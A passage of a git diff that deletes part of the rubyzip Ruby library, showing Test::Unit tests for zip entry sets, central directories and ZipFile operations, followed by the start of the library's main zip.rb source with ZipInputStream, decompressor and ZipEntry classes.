@zipEntrySet.glob('name[2-4]') - assert_equal(3, res.size) - assert_equal(ZIP_ENTRIES[1,3], res) - end - - def test_glob2 - entries = [ - ZipEntry.new("zf.zip", "a/"), - ZipEntry.new("zf.zip", "a/b/b1"), - ZipEntry.new("zf.zip", "a/b/c/"), - ZipEntry.new("zf.zip", "a/b/c/c1") - ] - entrySet = ZipEntrySet.new(entries) - - assert_equal(entries[0,1], entrySet.glob("*")) -# assert_equal(entries[FIXME], entrySet.glob("**")) -# res = entrySet.glob('a*') -# assert_equal(entries.size, res.size) -# assert_equal(entrySet.map { |e| e.name }, res.map { |e| e.name }) - end -end - - -class ZipCentralDirectoryTest < Test::Unit::TestCase - - def test_read_from_stream - File.open(TestZipFile::TEST_ZIP2.zip_name, "rb") { - |zipFile| - cdir = ZipCentralDirectory.read_from_stream(zipFile) - assert_equal(TestZipFile::TEST_ZIP2.entry_names.size, cdir.size) - cdir.entries.sort.compare_enumerables(TestZipFile::TEST_ZIP2.entry_names.sort) { - |cdirEntry, testEntryName| - assert(cdirEntry.name == testEntryName) - } - assert_equal(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("data/file2.txt", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.read_from_stream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("data/testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.read_from_stream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_write_to_stream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.write_to_stream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.read_from_stream(f) } - - assert_equal(cdir.entries.sort, cdirReadback.entries.sort) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equal(cdir1, cdir1) - assert_equal(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < Test::Unit::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zip_name) - @testEntryNameIndex=0 - end - - def test_entries - assert_equal(TestZipFile::TEST_ZIP2.entry_names.sort, - @zipFile.entries.entries.sort.map {|e| e.name} ) - end - - def test_each - count = 0 - visited = {} - @zipFile.each { - |entry| - assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name)) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_foreach - count = 0 - visited = {} - ZipFile.foreach(TestZipFile::TEST_ZIP2.zip_name) { - |entry| - assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name)) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_get_input_stream - count = 0 - visited = {} - @zipFile.each { - |entry| - assert_entry(entry.name, @zipFile.get_input_stream(entry), entry.name) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_get_input_streamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.get_input_stream(fileAndEntryName) { - |zis| - assert_entryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -module CommonZipFileFixture - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zip_name = "5entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - FileUtils.cp(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name) - end -end - -class ZipFileTest < Test::Unit::TestCase - include CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.get_output_stream("myFile") { |os| os.write "myFile contains just this" } - zf.mkdir("dir1") - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equal(comment, zfRead.comment) - assert_equal(2, zfRead.entries.length) - end - - def test_get_output_stream - entryCount = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - entryCount = zf.size - zf.get_output_stream('newEntry.txt') { - |os| - os.write "Putting stuff in newEntry.txt" - } - assert_equal(entryCount+1, zf.size) - assert_equal("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) - - zf.get_output_stream(zf.get_entry('data/generated/empty.txt')) { - |os| - os.write "Putting stuff in data/generated/empty.txt" - } - assert_equal(entryCount+1, zf.size) - assert_equal("Putting stuff in data/generated/empty.txt", zf.read("data/generated/empty.txt")) - - zf.get_output_stream('entry.bin') { - |os| - os.write(File.open('data/generated/5entry.zip', 'rb').read) - } - } - - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(entryCount+2, zf.size) - assert_equal("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) - assert_equal("Putting stuff in data/generated/empty.txt", zf.read("data/generated/empty.txt")) - assert_equal(File.open('data/generated/5entry.zip', 'rb').read, zf.read("entry.bin")) - } - end - - def test_add - srcFile = "data/file2.txt" - entryName = "newEntryName.rb" - assert(File.exists?(srcFile)) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equal("", zfRead.comment) - assert_equal(1, zfRead.entries.length) - assert_equal(entryName, zfRead.entries.first.name) - AssertEntry.assert_contents(srcFile, - zfRead.get_input_stream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_raise(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.add(zf.entries.first.name, "data/file2.txt") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "data/file2.txt") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_contains(zf, replacedEntry, "data/file2.txt") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.is_directory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entry_names - - FileUtils.cp(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name) - - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equal(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equal(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entry_names - - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(zf.entries.map { |e| e.name }.include?(entryToRename)) - - contents = zf.read(entryToRename) - newName = "changed entry name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include?(newName)) - - assert_equal(contents, zf.read(newName)) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(zfRead.entries.map { |e| e.name }.include?(newName)) - assert_equal(contents, zf.read(newName)) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } - - assert_raise(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(oldEntries.sort.map{ |e| e.name }, zf.entries.sort.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } - - gotCalled = false - renamedEntryName = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - renamedEntryName = zf.entries[0].name - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_if { |e| e.name == renamedEntryName } - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(oldEntries.sort.map{ |e| e.name }, - zf.entries.sort.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - target_entry = "target_entryName" - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(! zf.entries.include?(nonEntry)) - assert_raise(Errno::ENOENT) { - zf.rename(nonEntry, target_entry) - } - zf.commit - assert(! zf.entries.include?(target_entry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entry_names - zf = ZipFile.new(TEST_ZIP.zip_name) - assert_raise(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - entryToReplace = TEST_ZIP.entry_names[2] - newEntrySrcFilename = "data/file2.txt" - zf = ZipFile.new(TEST_ZIP.zip_name) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - zfRead = ZipFile.new(TEST_ZIP.zip_name) - AssertEntry::assert_contents(newEntrySrcFilename, - zfRead.get_input_stream(entryToReplace) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[0], - zfRead.get_input_stream(TEST_ZIP.entry_names[0]) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[1], - zfRead.get_input_stream(TEST_ZIP.entry_names[1]) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[3], - zfRead.get_input_stream(TEST_ZIP.entry_names[3]) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_raise(Errno::ENOENT) { - zf.replace(entryToReplace, "data/file2.txt") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zip_name) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - FileUtils.cp(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zip_name) - zf.add("okToDelete.txt", "okToDelete.txt") - assert_contains(zf, "okToDelete.txt") - zf.commit - File.rename("okToDelete.txt", "okToDeleteMoved.txt") - assert_contains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zip_name) -# zf.close -# assert_raise(IOError) { -# zf.extract(TEST_ZIP.entry_names.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zip_name) - originalEntries = zf.entries.dup - - assert_not_contains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assert_contains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assert_contains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assert_contains(zf, filename) - } - - assert_contains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assert_not_contains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert_contains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assert_contains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assert_contains(zfRead, filename) - } - assert_not_contains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zip_name) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assert_not_contains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assert_contains(zf, filename) - } - assert_equal(zf.entries.sort.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assert_not_contains(zf, TestFiles::ASCII_TEST_FILES[0]) - assert_contains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zip_name) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assert_contains(zf, filename) - } - - assert_contains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assert_contains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assert_entryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assert_not_contains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < Test::Unit::TestCase - include CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entry_names.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists?(EXTRACTED_FILENAME)) - AssertEntry::assert_contents(EXTRACTED_FILENAME, - zf.get_input_stream(ENTRY_TO_EXTRACT) { |is| is.read }) - - - File::unlink(EXTRACTED_FILENAME) - - entry = zf.get_entry(ENTRY_TO_EXTRACT) - entry.extract(EXTRACTED_FILENAME) - - assert(File.exists?(EXTRACTED_FILENAME)) - AssertEntry::assert_contents(EXTRACTED_FILENAME, - entry.get_input_stream() { |is| is.read }) - - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_raise(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equal(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalledCorrectly = false - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { - |entry, extractLoc| - gotCalledCorrectly = zf.entries.first == entry && - extractLoc == EXTRACTED_FILENAME - true - } - } - - assert(gotCalledCorrectly) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zip_name) - assert_raise(Errno::ENOENT) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_raise(Errno::ENOENT) { - zf = ZipFile.new(TEST_ZIP.zip_name) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < Test::Unit::TestCase - include CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def open_zip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zip_name, &aProc) - end - - def extract_test_dir(&aProc) - open_zip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extract_test_dir - assert(File.directory?(TEST_OUT_NAME)) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extract_test_dir - assert(File.directory?(TEST_OUT_NAME)) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_raise(ZipDestinationFileExistsError) { extract_test_dir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extract_test_dir { - |entry, destPath| - gotCalled = true - assert_equal(TEST_OUT_NAME, destPath) - assert(entry.is_directory) - true - } - assert(gotCalled) - assert(File.directory?(TEST_OUT_NAME)) - end -end - -class ZipExtraFieldTest < Test::Unit::TestCase - def test_new - extra_pure = ZipExtraField.new("") - extra_withstr = ZipExtraField.new("foo") - assert_instance_of(ZipExtraField, extra_pure) - assert_instance_of(ZipExtraField, extra_withstr) - end - - def test_unknownfield - extra = ZipExtraField.new("foo") - assert_equal(extra["Unknown"], "foo") - extra.merge("a") - assert_equal(extra["Unknown"], "fooa") - extra.merge("barbaz") - assert_equal(extra.to_s, "fooabarbaz") - end - - - def test_merge - str = "UT\x5\0\x3\250$\r@Ux\0\0" - extra1 = ZipExtraField.new("") - extra2 = ZipExtraField.new(str) - assert(! extra1.member?("UniversalTime")) - assert(extra2.member?("UniversalTime")) - extra1.merge(str) - assert_equal(extra1["UniversalTime"].mtime, extra2["UniversalTime"].mtime) - end - - def test_length - str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" - extra = ZipExtraField.new(str) - assert_equal(extra.local_length, extra.to_local_bin.length) - assert_equal(extra.c_dir_length, extra.to_c_dir_bin.length) - extra.merge("foo") - assert_equal(extra.local_length, extra.to_local_bin.length) - assert_equal(extra.c_dir_length, extra.to_c_dir_bin.length) - end - - - def test_to_s - str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" - extra = ZipExtraField.new(str) - assert_instance_of(String, extra.to_s) - - s = extra.to_s - extra.merge("foo") - assert_equal(s.length + 3, extra.to_s.length) - end - - def test_equality - str = "UT\x5\0\x3\250$\r@" - extra1 = ZipExtraField.new(str) - extra2 = ZipExtraField.new(str) - extra3 = ZipExtraField.new(str) - assert_equal(extra1, extra2) - - extra2["UniversalTime"].mtime = Time.now - assert(extra1 != extra2) - - extra3.create("IUnix") - assert(extra1 != extra3) - - extra1.create("IUnix") - assert_equal(extra1, extra3) - end - -end - -# Copyright (C) 2002-2005 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/zip.rb b/lib/zip/zip.rb deleted file mode 100644 index e5d150de96..0000000000 --- a/lib/zip/zip.rb +++ /dev/null @@ -1,1900 +0,0 @@ -# encoding: ASCII-8BIT -require 'delegate' - -begin - require 'iconv' -rescue ::LoadError -end - -require 'singleton' -require 'tempfile' -require 'fileutils' -require 'stringio' -require 'zlib' -require 'zip/stdrubyext' -require 'zip/ioextras' - -if Tempfile.superclass == SimpleDelegator - require 'zip/tempfile_bugfixed' - Tempfile = BugFix::Tempfile -end - -module Zlib #:nodoc:all - if ! const_defined? :MAX_WBITS - MAX_WBITS = Zlib::Deflate.MAX_WBITS - end -end - -module Zip - - VERSION = '0.9.4' - - RUBY_MINOR_VERSION = RUBY_VERSION.split(".")[1].to_i - - RUNNING_ON_WINDOWS = /mswin32|cygwin|mingw|bccwin/ =~ RUBY_PLATFORM - - # Ruby 1.7.x compatibility - # In ruby 1.6.x and 1.8.0 reading from an empty stream returns - # an empty string the first time and then nil. - # not so in 1.7.x - EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST = RUBY_MINOR_VERSION != 7 - - # ZipInputStream is the basic class for reading zip entries in a - # zip file. It is possible to create a ZipInputStream object directly, - # passing the zip file name to the constructor, but more often than not - # the ZipInputStream will be obtained from a ZipFile (perhaps using the - # ZipFileSystem interface) object for a particular entry in the zip - # archive. - # - # A ZipInputStream inherits IOExtras::AbstractInputStream in order - # to provide an IO-like interface for reading from a single zip - # entry. Beyond methods for mimicking an IO-object it contains - # the method get_next_entry for iterating through the entries of - # an archive. get_next_entry returns a ZipEntry object that describes - # the zip entry the ZipInputStream is currently reading from. - # - # Example that creates a zip archive with ZipOutputStream and reads it - # back again with a ZipInputStream. - # - # require 'zip/zip' - # - # Zip::ZipOutputStream::open("my.zip") { - # |io| - # - # io.put_next_entry("first_entry.txt") - # io.write "Hello world!" - # - # io.put_next_entry("adir/first_entry.txt") - # io.write "Hello again!" - # } - # - # - # Zip::ZipInputStream::open("my.zip") { - # |io| - # - # while (entry = io.get_next_entry) - # puts "Contents of #{entry.name}: '#{io.read}'" - # end - # } - # - # java.util.zip.ZipInputStream is the original inspiration for this - # class. - - class ZipInputStream - include IOExtras::AbstractInputStream - - # Opens the indicated zip file. An exception is thrown - # if the specified offset in the specified filename is - # not a local zip entry header. - def initialize(filename, offset = 0) - super() - @archiveIO = File.open(filename, "rb") - @archiveIO.seek(offset, IO::SEEK_SET) - @decompressor = NullDecompressor.instance - @currentEntry = nil - end - - def close - @archiveIO.close - end - - # Same as #initialize but if a block is passed the opened - # stream is passed to the block and closed when the block - # returns. - def ZipInputStream.open(filename) - return new(filename) unless block_given? - - zio = new(filename) - yield zio - ensure - zio.close if zio - end - - # Returns a ZipEntry object. It is necessary to call this - # method on a newly created ZipInputStream before reading from - # the first entry in the archive. Returns nil when there are - # no more entries. - - def get_next_entry - @archiveIO.seek(@currentEntry.next_header_offset, - IO::SEEK_SET) if @currentEntry - open_entry - end - - # Rewinds the stream to the beginning of the current entry - def rewind - return if @currentEntry.nil? - @lineno = 0 - @archiveIO.seek(@currentEntry.localHeaderOffset, - IO::SEEK_SET) - open_entry - end - - # Modeled after IO.sysread - def sysread(numberOfBytes = nil, buf = nil) - @decompressor.sysread(numberOfBytes, buf) - end - - def eof - @outputBuffer.empty? && @decompressor.eof - end - alias :eof? :eof - - protected - - def open_entry - @currentEntry = ZipEntry.read_local_entry(@archiveIO) - if (@currentEntry == nil) - @decompressor = NullDecompressor.instance - elsif @currentEntry.compression_method == ZipEntry::STORED - @decompressor = PassThruDecompressor.new(@archiveIO, @currentEntry.size) - elsif @currentEntry.compression_method == ZipEntry::DEFLATED - @decompressor = Inflater.new(@archiveIO) - else - raise ZipCompressionMethodError, "Unsupported compression method #{@currentEntry.compression_method}" - end - flush - return @currentEntry - end - - def produce_input - @decompressor.produce_input - end - - def input_finished? - @decompressor.input_finished? - end - end - - - - class Decompressor #:nodoc:all - CHUNK_SIZE=32768 - def initialize(inputStream) - super() - @inputStream=inputStream - end - end - - class Inflater < Decompressor #:nodoc:all - def initialize(inputStream) - super - @zlibInflater = Zlib::Inflate.new(-Zlib::MAX_WBITS) - @outputBuffer="" - @hasReturnedEmptyString = ! EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST - end - - def sysread(numberOfBytes = nil, buf = nil) - readEverything = (numberOfBytes == nil) - while (readEverything || @outputBuffer.length < numberOfBytes) - break if internal_input_finished? - @outputBuffer << internal_produce_input(buf) - end - return value_when_finished if @outputBuffer.length==0 && input_finished? - endIndex= numberOfBytes==nil ? @outputBuffer.length : numberOfBytes - return @outputBuffer.slice!(0...endIndex) - end - - def produce_input - if (@outputBuffer.empty?) - return internal_produce_input - else - return @outputBuffer.slice!(0...(@outputBuffer.length)) - end - end - - # to be used with produce_input, not read (as read may still have more data cached) - # is data cached anywhere other than @outputBuffer? the comment above may be wrong - def input_finished? - @outputBuffer.empty? && internal_input_finished? - end - alias :eof :input_finished? - alias :eof? :input_finished? - - private - - def internal_produce_input(buf = nil) - retried = 0 - begin - @zlibInflater.inflate(@inputStream.read(Decompressor::CHUNK_SIZE, buf)) - rescue Zlib::BufError - raise if (retried >= 5) # how many times should we retry? - retried += 1 - retry - end - end - - def internal_input_finished? - @zlibInflater.finished? - end - - # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ? - def value_when_finished # mimic behaviour of ruby File object. - return nil if @hasReturnedEmptyString - @hasReturnedEmptyString=true - return "" - end - end - - class PassThruDecompressor < Decompressor #:nodoc:all - def initialize(inputStream, charsToRead) - super inputStream - @charsToRead = charsToRead - @readSoFar = 0 - @hasReturnedEmptyString = ! EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST - end - - # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ? - def sysread(numberOfBytes = nil, buf = nil) - if input_finished? - hasReturnedEmptyStringVal=@hasReturnedEmptyString - @hasReturnedEmptyString=true - return "" unless hasReturnedEmptyStringVal - return nil - end - - if (numberOfBytes == nil || @readSoFar+numberOfBytes > @charsToRead) - numberOfBytes = @charsToRead-@readSoFar - end - @readSoFar += numberOfBytes - @inputStream.read(numberOfBytes, buf) - end - - def produce_input - sysread(Decompressor::CHUNK_SIZE) - end - - def input_finished? - (@readSoFar >= @charsToRead) - end - alias :eof :input_finished? - alias :eof? :input_finished? - end - - class NullDecompressor #:nodoc:all - include Singleton - def sysread(numberOfBytes = nil, buf = nil) - nil - end - - def produce_input - nil - end - - def input_finished? - true - end - - def eof - true - end - alias :eof? :eof - end - - class NullInputStream < NullDecompressor #:nodoc:all - include IOExtras::AbstractInputStream - end - - class ZipEntry - STORED = 0 - DEFLATED = 8 - - FSTYPE_FAT = 0 - FSTYPE_AMIGA = 1 - FSTYPE_VMS = 2 - FSTYPE_UNIX = 3 - FSTYPE_VM_CMS = 4 - FSTYPE_ATARI = 5 - FSTYPE_HPFS = 6 - FSTYPE_MAC = 7 - FSTYPE_Z_SYSTEM = 8 - FSTYPE_CPM = 9 - FSTYPE_TOPS20 = 10 - FSTYPE_NTFS = 11 - FSTYPE_QDOS = 12 - FSTYPE_ACORN = 13 - FSTYPE_VFAT = 14 - FSTYPE_MVS = 15 - FSTYPE_BEOS = 16 - FSTYPE_TANDEM = 17 - FSTYPE_THEOS = 18 - FSTYPE_MAC_OSX = 19 - FSTYPE_ATHEOS = 30 - - FSTYPES = { - FSTYPE_FAT => 'FAT'.freeze, - FSTYPE_AMIGA => 'Amiga'.freeze, - FSTYPE_VMS => 'VMS (Vax or Alpha AXP)'.freeze, - FSTYPE_UNIX => 'Unix'.freeze, - FSTYPE_VM_CMS => 'VM/CMS'.freeze, - FSTYPE_ATARI => 'Atari ST'.freeze, - FSTYPE_HPFS => 'OS/2 or NT HPFS'.freeze, - FSTYPE_MAC => 'Macintosh'.freeze, - FSTYPE_Z_SYSTEM => 'Z-System'.freeze, - FSTYPE_CPM => 'CP/M'.freeze, - FSTYPE_TOPS20 => 'TOPS-20'.freeze, - FSTYPE_NTFS => 'NTFS'.freeze, - FSTYPE_QDOS => 'SMS/QDOS'.freeze, - FSTYPE_ACORN => 'Acorn RISC OS'.freeze, - FSTYPE_VFAT => 'Win32 VFAT'.freeze, - FSTYPE_MVS => 'MVS'.freeze, - FSTYPE_BEOS => 'BeOS'.freeze, - FSTYPE_TANDEM => 'Tandem NSK'.freeze, - FSTYPE_THEOS => 'Theos'.freeze, - FSTYPE_MAC_OSX => 'Mac OS/X (Darwin)'.freeze, - FSTYPE_ATHEOS => 'AtheOS'.freeze, - }.freeze - - attr_accessor :comment, :compressed_size, :crc, :extra, :compression_method, - :name, :size, :localHeaderOffset, :zipfile, :fstype, :externalFileAttributes, :gp_flags, :header_signature - - attr_accessor :follow_symlinks - attr_accessor :restore_times, :restore_permissions, :restore_ownership - attr_accessor :unix_uid, :unix_gid, :unix_perms - - attr_reader :ftype, :filepath # :nodoc: - - # Returns the character encoding used for name and comment - def name_encoding - (@gp_flags & 0b100000000000) != 0 ? "utf8" : "CP437//" - end - - - # Converts string encoding - def encode_string(str, src, dst) - if str.respond_to?(:encode) - str.encode(dst, { :invalid => :replace, :undef => :replace, :replace => '' }) - else - begin - 